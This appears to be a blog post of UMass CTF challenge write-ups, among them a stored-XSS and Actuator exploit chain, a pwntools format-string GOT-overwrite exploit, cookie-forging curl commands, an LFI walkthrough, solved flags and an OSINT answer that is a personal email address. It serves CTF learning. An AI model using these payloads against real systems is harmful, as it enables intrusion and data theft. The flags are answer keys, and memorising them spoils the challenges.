Hello Navi

Tech, Security & Personal Notes

where are your little ninja-nerds?

Initial Analysis

The challenge provided a single image file: challenge.png. Initial investigation focused on gathering basic information about the file and its metadata.

  • File Type: Standard PNG image (640x360).
  • Metadata: exiftool showed no unusual comments or hidden fields.
  • Strings: Running strings did not reveal the flag in plain text, suggesting it was encoded or hidden within the pixel data.
  • Embedded Files: binwalk did not detect any appended files (like zips or other images).

Given that the file appeared to be a clean PNG with no obvious trailing data or metadata tricks, I suspected LSB (Least Significant Bit) Steganography. This technique hides data by slightly modifying the last bit of color values (Red, Green, or Blue), which is invisible to the human eye.

Solution

To extract the hidden data, we can either use automated tools or a custom script to parse the LSBs from each color plane.

1. Automated Approach

Using zsteg, we can quickly scan for common LSB patterns:

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zsteg -E "b1,b,lsb,xy" challenge.png | strings | grep "UMASS{"

2. Manual Extraction Script

Alternatively, using the Pillow library in Python allows for precise extraction from specific color channels.

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import PIL.Image

def extract_lsb(image_path):
img = PIL.Image.open(image_path)
pixels = img.load()
width, height = img.size

# Check Red (0), Green (1), and Blue (2) planes
for plane in range(3):
lsb_data = bytearray()
current_byte = 0
bit_count = 0
for y in range(height):
for x in range(width):
pixel = pixels[x, y]
bit = pixel[plane] & 1 # Extract LSB
current_byte = (current_byte << 1) | bit
bit_count += 1
if bit_count == 8:
lsb_data.append(current_byte)
current_byte = 0
bit_count = 0

if b"UMASS{" in lsb_data:
print(f"Found flag in Plane {plane}!")
# Logic to print the found string...

Running the extraction against the color planes reveals that the flag is hidden in the Blue channel (Plane 2).

Flag

UMASS{perfectly-hidden-ready-to-strike}

I managed to get my hands on a design files from LEGO HQ. Apparently it is the design for the new Smart Brick v2. I want to analyze it but I don’t have the hardware to do so. Can you help me figure out what it does?? 我设法从乐高总部拿到了一份设计文件。我想对它进行分析,但我没有分析所需的硬件。你能帮我弄明白它是做什么的吗?

Hint 1: I think I have seen that file format before on an popular open-source eCAD software but I can’t remember which one… (我好像在一款流行的开源 eCAD 软件上见过这种文件格式,但记不清是哪一款了) Hint 2: Hmmm… there seem to be 7 inputs, I wonder what encoding uses only 7 bits? (嗯……似乎有 7 个输入,我想知道什么编码只使用 7 位?) Hint 3: I found a great python library to interact with this file programmatically: kiutils (我发现了一个很棒的 Python 库,可以通过编程与该文件交互:kiutils)

Initial Analysis

The challenge provides a KiCad PCB design file (smart-brick-v2.kicad_pcb) and asks to analyze it to discover its function. Hints suggest that the board uses a 7-bit encoding (ASCII) and points toward the kiutils Python library for programmatic analysis.

Opening the file or inspecting the raw text reveals it is a KiCad 9.0 board file. Key features identified:

  • Inputs: 7 nets labeled /IN0 through /IN6. This confirms the hint about 7-bit encoding (ASCII).
  • Outputs: 19 LEDs (D1D19) driven by 19 MOSFETs (Q1Q19).
  • Logic: A large array of 74LS series discrete logic gates (AND, NAND, OR, NOR, XOR, NOT).

The circuit is a combinational logic “decoder” where each LED represents a character in the flag. An LED will light up if the 7-bit input matches a specific character programmed into the logic gates for that stage.

Solution

To solve this without physical hardware or a manual schematic trace, we can automate the logic extraction and simulation using Python.

1. Technical Approach

Step 1: Parsing the PCB Using the kiutils library, we extract all footprints, their values (e.g., 74LS00), and the nets connected to their pins.

Step 2: Mapping Logic Gates Each 74LS chip contains multiple gates. For example: - 74LS00: Quad 2-input NAND. - 74LS08: Quad 2-input AND. - 74LS86: Quad 2-input XOR. - 74LS21: Dual 4-input AND.

We build a dependency graph where each net’s value is determined by the boolean operation of its input nets.

Step 3: Simulation Since there are only 128 possible values for a 7-bit input (ASCII 0–127), we can brute-force the inputs for each of the 19 output stages. For each character c from 0 to 127, we propagate the values through the logic gate graph and check which MOSFET gates (Q1Q19) are pulled HIGH.

2. Execution

The simulation reveals that each LED corresponds to exactly one ASCII character:

LED Hex Char LED Hex Char
D1 0x55 U D11 0x68 h
D2 0x4D M D12 0x33 3
D3 0x41 A D13 0x5F _
D4 0x53 S D14 0x47 G
D5 0x53 S D15 0x34 4
D6 0x7B { D16 0x74 t
D7 0x49 I D17 0x33 3
D8 0x6E n D18 0x73 s
D9 0x5F _ D19 0x7D }
D10 0x54 T

3. Simulation Script

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import re
from kiutils.board import Board

def get_logic():
board = Board.from_file('smart-brick-v2.kicad_pcb')

# Map components by reference
components = {}
for fp in board.footprints:
ref = fp.properties.get('Reference', '')
val = fp.properties.get('Value', '')

pins = {}
for pad in fp.pads:
if pad.net:
pins[pad.number] = pad.net.name

components[ref] = {
'value': val,
'pins': pins
}

# Define gate logic
# (inputs, output)
gate_defs = {
'74LS00': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # NAND
'74LS02': [(('2', '3'), '1'), (('5', '6'), '4'), (('8', '9'), '10'), (('11', '12'), '13')], # NOR
'74LS04': [(('1',), '2'), (('3',), '4'), (('5',), '6'), (('9',), '8'), (('11',), '10'), (('13',), '12')], # NOT
'74LS08': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # AND
'74LS20': [(('1', '2', '4', '5'), '6'), (('9', '10', '12', '13'), '8')], # NAND 4
'74LS21': [(('1', '2', '4', '5'), '6'), (('9', '10', '12', '13'), '8')], # AND 4
'74LS27': [(('1', '2', '13'), '12'), (('3', '4', '5'), '6'), (('9', '10', '11'), '8')], # NOR 3
'74LS32': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # OR
'74LS86': [(('1', '2'), '3'), (('4', '5'), '6'), (('9', '10'), '8'), (('12', '13'), '11')], # XOR
}

# Build the net dependency graph
net_logic = {}

for ref, comp in components.items():
val = comp['value']
if val in gate_defs:
for inputs, output in gate_defs[val]:
if output in comp['pins']:
out_net = comp['pins'][output]
in_nets = [comp['pins'][i] for i in inputs if i in comp['pins']]
if len(in_nets) == len(inputs):
op = val[4:] # 00, 02, etc.
net_logic[out_net] = (op, in_nets)

# MOSFET gates driving LEDs
led_nets = []
for i in range(1, 20):
ref = f'Q{i}'
if ref in components:
if '1' in components[ref]['pins']:
led_nets.append(components[ref]['pins']['1'])

# Simulation function
def simulate(inputs_bits):
vals = {f'/IN{i}': inputs_bits[i] for i in range(7)}
vals['GND'] = False
vals['+5V'] = True

memo = {}
def get_val(net):
if net in vals: return vals[net]
if net in memo: return memo[net]
if net not in net_logic: return False

op, ins = net_logic[net]
in_vals = [get_val(i) for i in ins]

if op == '00': return not (in_vals[0] and in_vals[1])
elif op == '02': return not (in_vals[0] or in_vals[1])
elif op == '04': return not in_vals[0]
elif op == '08': return in_vals[0] and in_vals[1]
elif op == '20': return not all(in_vals)
elif op == '21': return all(in_vals)
elif op == '27': return not any(in_vals)
elif op == '32': return any(in_vals)
elif op == '86': return in_vals[0] ^ in_vals[1]
else: return False

memo[net] = res
return res

return [get_val(ln) for ln in led_nets]

# Brute force 7-bit ASCII
for i in range(19):
print(f"LED {i+1}: ", end='')
for code in range(128):
bits = [(code >> j) & 1 == 1 for j in range(7)]
outputs = simulate(bits)
if outputs[i]:
print(f"'{chr(code)}' (0x{code:02x})", end=' ')
print()

get_logic()

Flag

UMASS{In_Th3_G4t3s}

The Block City Times is here to inform you!

Initial Analysis

“The Block City Times” is a complex web application built with Spring Boot, involving multiple internal services (editorial, report-runner) and a Puppeteer-based bot. The challenge requires chaining several vulnerabilities to leak a sensitive FLAG cookie from an internal diagnostic service.

Solution

The attack follows a multi-stage exploit chain:

  1. Arbitrary File Upload & XSS: The /submit endpoint allows uploading “story” files. Although it checks the Content-Type, this is easily bypassed. Files are saved with their original extension and served via /files/{filename}. By uploading an .html file with Content-Type: text/plain, we can achieve stored XSS.

  2. Administrative Bot Triggering: The editorial service automatically reviews every submission by visiting the uploaded file as an administrator. This allows our XSS payload to execute with administrative privileges.

  3. Actuator Abuse: The application exposes Spring Boot Actuator endpoints. Via XSS, the editorial bot can be forced to modify application properties at runtime:

    • Disable production enforcement: POST /actuator/env with app.enforce-production=false.
    • Switch to dev mode: POST /admin/switch?config=dev.
  4. SSRF & Cookie Leakage: The report-runner service logs in as an admin, sets a FLAG cookie, and visits a user-specified API endpoint. While it checks if the endpoint starts with /api/, this can be bypassed with path traversal (e.g., /api/../files/exploit.html).

Exploit Payload (exploit.html)

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<script>
(async () => {
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
const filename = location.pathname.split("/").pop();

// STAGE 2: If visited by report-runner, leak the flag to article tags
if (document.cookie.includes("FLAG=")) {
await fetch("/api/tags/article/1", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify([document.cookie]),
});
return;
}

// STAGE 1: If visited by editorial bot, reconfigure the app and trigger report
try {
await fetch("/actuator/env", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "app.enforce-production", value: "false" }),
});
await fetch("/actuator/env", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "app.active-config", value: "dev" }),
});
await fetch("/actuator/refresh", { method: "POST" });
await sleep(2000);

const adminPage = await (await fetch("/admin")).text();
const csrfToken = adminPage.match(/name="_csrf" value="([^"]+)"/)[1];

const params = new URLSearchParams();
params.append("_csrf", csrfToken);
params.append("endpoint", "/api/../files/" + filename);

await fetch("/admin/report", { method: "POST", body: params });
} catch (e) {}
})();
</script>

After uploading the exploit (bypassing the extension check by modifying the filename to .html in the multipart request), the editorial bot triggers the reconfiguration and the report-runner. The flag is then leaked to the tags of Article 1.

Flag

UMASS{A_mAn_h3s_f@l13N_1N_tH3_r1v3r}

This familiar brick castle is hiding something… can you break in and defeat the Koopa King?

这座熟悉的砖砌城堡隐藏着什么……您能闯进去打败库巴王吗?

Initial Analysis

The challenge presents a Bowser-themed web portal. A quick look at the page source reveals client-side JavaScript that sabotages any login attempt by replacing the input key with WEAK_NON_KOOPA_KNOCK on submission.

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document.getElementById('key-form').onsubmit = function() {
const knockOnDoor = document.getElementById('key');
// It replaces whatever they typed with 'WEAK_NON_KOOPA_KNOCK'
knockOnDoor.value = "WEAK_NON_KOOPA_KNOCK";
return true;
};

This implies we need to interact with the server directly, bypassing the browser’s UI logic.

Solution

  1. Reconnaissance: Checking the HTTP response headers with curl -v reveals a hidden message from Kamek: Server: BrOWSERS CASTLE (A note outside: "King Koopa, if you forget the key, check under_the_doormat! - Sincerely, your faithful servant, Kamek")

    The key appears to be under_the_doormat.

  2. Authentication Bypass: The challenge title and theme suggest the server expects a specific identity. Using the User-Agent Bowser and the discovered key, we can attempt a login:

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    curl -v -c cookies.txt -L http://browser-boss-fight.web.ctf.umasscybersec.org:32770/password-attempt \
    -A "Bowser" \
    -d "key=under_the_doormat"
    The -c cookies.txt flag saves the session cookie for subsequent requests.

  3. Defeating the Boss (Cookie Manipulation): Upon redirecting to /bowsers_castle.html, the page claims the “axe” has been removed to prevent defeat. Inspecting the cookies reveals a hasAxe=false value. To proceed, we must manually override this cookie to true:

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    curl -v -b cookies.txt -b "hasAxe=true" \
    -A "Bowser" \
    -L http://browser-boss-fight.web.ctf.umasscybersec.org:32770/bowsers_castle.html

  4. Victory: With the manipulated cookie, the server renders the victory page containing the flag.

Flag

UMASS{br0k3n_1n_2_b0wz3r5_c4st13}

I found this old portal for BrickWorks Co. They say their internal systems are secure, but I’m not so sure. Can you find the hidden admin dashboard and get the flag?

我发现了这个 BrickWorks 公司的旧门户网站。他们说他们的内部系统是安全的,但我不太确定。你能找到隐藏的管理仪表板并拿到旗帜吗?

Initial Analysis

The challenge provides a link to a web portal for BrickWorks Co. The goal is to find a hidden admin dashboard and retrieve the flag. Based on the hints, we should look for common files used to hide content from search engines and pay attention to URL parameters.

Solution

  1. Information Gathering: Checking robots.txt reveals several disallowed paths under /internal-docs/:

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    User-agent: *
    Disallow: /internal-docs/assembly-guide.txt
    Disallow: /internal-docs/it-onboarding.txt
    Disallow: /internal-docs/q3-report.txt

  2. Vulnerability Discovery: Reading /internal-docs/it-onboarding.txt provides a crucial piece of information: > Staff can access any file using the ?file= parameter.

    This indicates a potential Local File Inclusion (LFI) or arbitrary file read vulnerability on the main page. The same document also mentions that credentials are stored in config.php.

  3. Exploitation: By using the ?file= parameter to read config.php (/?file=config.php), we find the location of the admin dashboard and a hint about credentials:

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    // The admin dashboard is located at /dashboard-admin.php.
    // ...
    // WARNING: SYSTEM IS CURRENTLY USING DEFAULT FACTORY CREDENTIALS.
    define('ADMIN_USER', 'administrator');

  4. Accessing the Flag: Navigating to /dashboard-admin.php and logging in with the default credentials (administrator / administrator) grants access to the dashboard and reveals the flag.

Flag

UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}

Help design the office space for Brick City’s new skyscraper! read flag.txt for design specifications.

nc brick-city-office-space.pwn.ctf.umasscybersec.org 45001

Enumeration

The challenge provides a 32-bit x86 Linux binary with the following protections:

  • RELRO: No RELRO (GOT is writable)
  • Stack Canary: No Canary
  • NX: Enabled
  • PIE: Disabled (Loads at 0x08048000)

Decompiling the vuln function reveals a clear Format String Vulnerability:

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result = fgets(format, 592, stdin);
// ...
printf(format); // <--- Vulnerable call

The program allows multiple “redesigns,” enabling us to trigger the vulnerability several times in a single session. By sending AAAA %p %p %p %p, we confirm the format string offset is 4.

Exploitation Strategy

Since the binary has No RELRO and PIE is disabled, we can perform a standard GOT overwrite:

  1. Leak Libc: Use the first printf to leak a libc address from the GOT (e.g., printf@GOT).
  2. Calculate Offsets: Determine the base address of libc and the absolute address of system.
  3. GOT Overwrite: Trigger the “redesign” loop and send a payload to overwrite printf@GOT with the address of system.
  4. Trigger Shell: Send the string cat flag.txt in the next iteration. printf(format) will execute system("cat flag.txt").

Solution

The following exploit uses pwntools to automate the process, carefully avoiding backticks (`) which the binary handles specially.

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from pwn import *

elf = ELF('./BrickCityOfficeSpace')
libc = ELF('./libc.so.6')
p = remote('brick-city-office-space.pwn.ctf.umasscybersec.org', 45001)

offset = 4
printf_got = elf.got['printf']

# Step 1: Leak libc
payload = p32(printf_got) + b"|%4$s|"
p.sendlineafter(b"BrickCityOfficeSpace>", payload)
p.recvuntil(b"|")
leaked_printf = u32(p.recv(4))
libc.address = leaked_printf - libc.symbols['printf']

# Step 2: Overwrite GOT
p.sendlineafter(b"(y/n)", b"y")
# Avoid backticks (0x60) by adjusting the number of bytes written
payload = fmtstr_payload(offset, {printf_got: libc.symbols['system']}, numbwritten=1)
p.sendlineafter(b"BrickCityOfficeSpace>", payload)

# Step 3: Trigger system("cat flag.txt")
p.sendlineafter(b"(y/n)", b"y")
p.sendlineafter(b"BrickCityOfficeSpace>", b"cat flag.txt")
p.interactive()

Flag

UMASS{th3-f0rm4t_15-0ff-th3-ch4rt5}

Hopefully I can track down this red brick, because if there’s one thing I know, it’s that I hate sand. Flag format UMASS{What_The_Red_Brick_Does}, eg UMASS{Ground_Pound}

Initial Analysis

The challenge description provides several key clues:

  • “Son of a Sith…”: A direct reference to Darth Vader/Anakin Skywalker.
  • “I hate sand”: A famous quote by Anakin Skywalker from Star Wars: Episode II – Attack of the Clones, strongly associating the location with the desert planet Tatooine.
  • “Red Brick”: A collectible item from the LEGO Star Wars video games used to unlock “Extras”.
  • Visual Clues: The provided image shows a LEGO Darth Vader in a canyon environment (Jundland Wastes) with a floating Red Brick.

Solution

1. Game Identification

The low-poly aesthetic and the physical presence of a “Red Brick” (rather than the “Datacards” used in the 2022 Skywalker Saga) point to the classic games developed by TT Games, specifically LEGO Star Wars: The Complete Saga or LEGO Star Wars II: The Original Trilogy.

2. Location & Level

The quote “I hate sand” and the environment confirm the setting as Tatooine. Specifically, the visual matches Episode IV, Chapter 2: “Through the Jundland Wastes”.

3. Red Brick Function

In LEGO Star Wars: The Complete Saga, the Red Brick found in the “Through the Jundland Wastes” level is located in a hidden area accessible in Free Play mode. Collecting this brick unlocks a specific “Extra” in the Cantina.

Researching the collectibles for this specific level reveals that the Red Brick unlocks the Fast Force ability, which speeds up the animation for Jedi and Sith characters using the Force on objects.

Flag

UMASS{Fast_Force}

I’ve heard there’s a computer shop in the area that sells a computer that isn’t designed to run Windows, macOS, or Linux. What’s the processor that’s in their flagship, PCIe-capable system? Flag format: UMASS{Name of Processor}, i.e. UMASS{AMD Ryzen 7 9800X3D}

Initial Analysis

This OSINT challenge asks for the processor of a flagship, PCIe-capable computer system sold by a shop that specializes in hardware not intended for mainstream operating systems like Windows, macOS, or Linux.

Key clues: - Non-mainstream OS (Windows, macOS, Linux excluded). - Flagship, PCIe-capable system. - Computer shop in a specific “area” (implied by the context of previous challenges or search).

Solution

Locate Luxembourg Frence first through picture.

By researching specialized computer shops, we identified AAA Technology Sàrl in Dudelange, Luxembourg. They are well-known for selling Amiga compatible hardware, which runs AmigaOS rather than Windows or Linux.

Their flagship PCIe-capable system is the AmigaOne series. Investigation into the technical specifications of their flagship systems and Amiga platform revealed that the processor used is the NXP QorIQ P1022.

Flag

UMASS{NXP QorIQ P1022}

I dropped my message into the bin of Legos. It’s all scrambled up now. Please help.

Initial Analysis

The challenge provides a Python script encoder.py and its corresponding output output.txt. The goal is to recover a flag that has had its bits scrambled based on a seed derived from a hardcoded string.

Seed Generation

The script uses RSA to “encrypt” the string "I_LOVE_RNG":

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text = "I_LOVE_RNG"
n, seed = RSA_enc(text)
# ...
enc_seed = pow(seed, e, n)

The RSA_enc function calculates seed = pow(plain_num, e, n). In the main function, it then calculates enc_seed = pow(seed, e, n). Since e = 7 is very small and the plaintext "I_LOVE_RNG" is short, the value me (where m is the integer representation of the text) is much smaller than the 4096-bit RSA modulus n. This means pow(m, e, n) is simply me without any modular reduction.

Bit Shuffling

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flag_bits = get_flag_bits(flag)
for i in range(10):
random.seed(seed*(i+1))
random.shuffle(flag_bits)

The flag is converted into a list of bits and shuffled 10 times using Python’s random.shuffle. Each shuffle is seeded with a value derived from the seed identified above.

Solution

To recover the flag, we follow these steps:

  1. Recover the Seed: Calculate the integer value of "I_LOVE_RNG" and raise it to the 7th power to get the seed. We can verify this against enc_seed in the output file by checking if seed**7 == enc_seed.
  2. Reverse the Shuffle: Since random.shuffle is deterministic when the seed is known, we can track how the positions change. Instead of shuffling the bits directly, we shuffle a list of indices [0, 1, 2, ..., len(bits)-1].
  3. Reconstruct the Flag: After 10 shuffles, the index list tells us where each original bit ended up. We map the bits from the encoded flag back to their original positions and convert the bit array back into a string.

Solution Script

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import random

def get_flag_bits(flag_hex):
flag_bytes = bytes.fromhex(flag_hex)
bits = []
for b in flag_bytes:
bits.extend(list(bin(b)[2:].zfill(8)))
return bits

def bit_arr_to_str(bit_arr):
byte_arr = []
for i in range(0, len(bit_arr), 8):
byte = bit_arr[i:i+8]
char = int(''.join(byte), 2)
byte_arr.append(char)
return bytes(byte_arr)

# Values from output.txt
enc_flag_hex = "a9fa3c5e51d4cea498554399848ad14aa0764e15a6a2110b6613f5dc87fa70f17fafbba7eb5a2a5179"
text = "I_LOVE_RNG"
plain_num = int.from_bytes(text.encode(), "big")
seed = plain_num ** 7

flag_bits_enc = get_flag_bits(enc_flag_hex)
num_bits = len(flag_bits_enc)
indices = list(range(num_bits))

# Replay the shuffle on the indices
for i in range(10):
random.seed(seed * (i + 1))
random.shuffle(indices)

# Map scrambled bits back to original positions
flag_bits_orig = [None] * num_bits
for j in range(num_bits):
flag_bits_orig[indices[j]] = flag_bits_enc[j]

print(bit_arr_to_str(flag_bits_orig).decode())

Flag

UMASS{tH4Nk5_f0R_uN5CR4m8L1nG_mY_M3554g3}

My friend tells me there’s an office of a store that sells special bricks above a well-known shopping centre on this street. My friend tells me I’ll it will bring me joy, but I’m not sure that the bricks are from the famous company. Can you give me the contact email address of the store so I can learn more?

Flag format: UMASS{email@example.com}

Key clues: - “Special bricks” (possibly a LEGO alternative store) - “Above a well-known shopping centre” - “Bring me joy” (might be part of the store’s name)

Solution

By researching shopping centers in Hong Kong known for hobbyist shops, we identified Ho King Commercial Centre (好景商业中心) and Ho King Shopping Centre (好景商场) as likely locations.

Using tools like Google Gemini Deep Search to find shops selling “bricks” in these locations, we found a store associated with “Joy” (matching the “bring me joy” hint). The store in question is Joying Bricks.

Searching for their contact information lead to the official email address.

Flag

UMASS{joyingwang@gmail.com}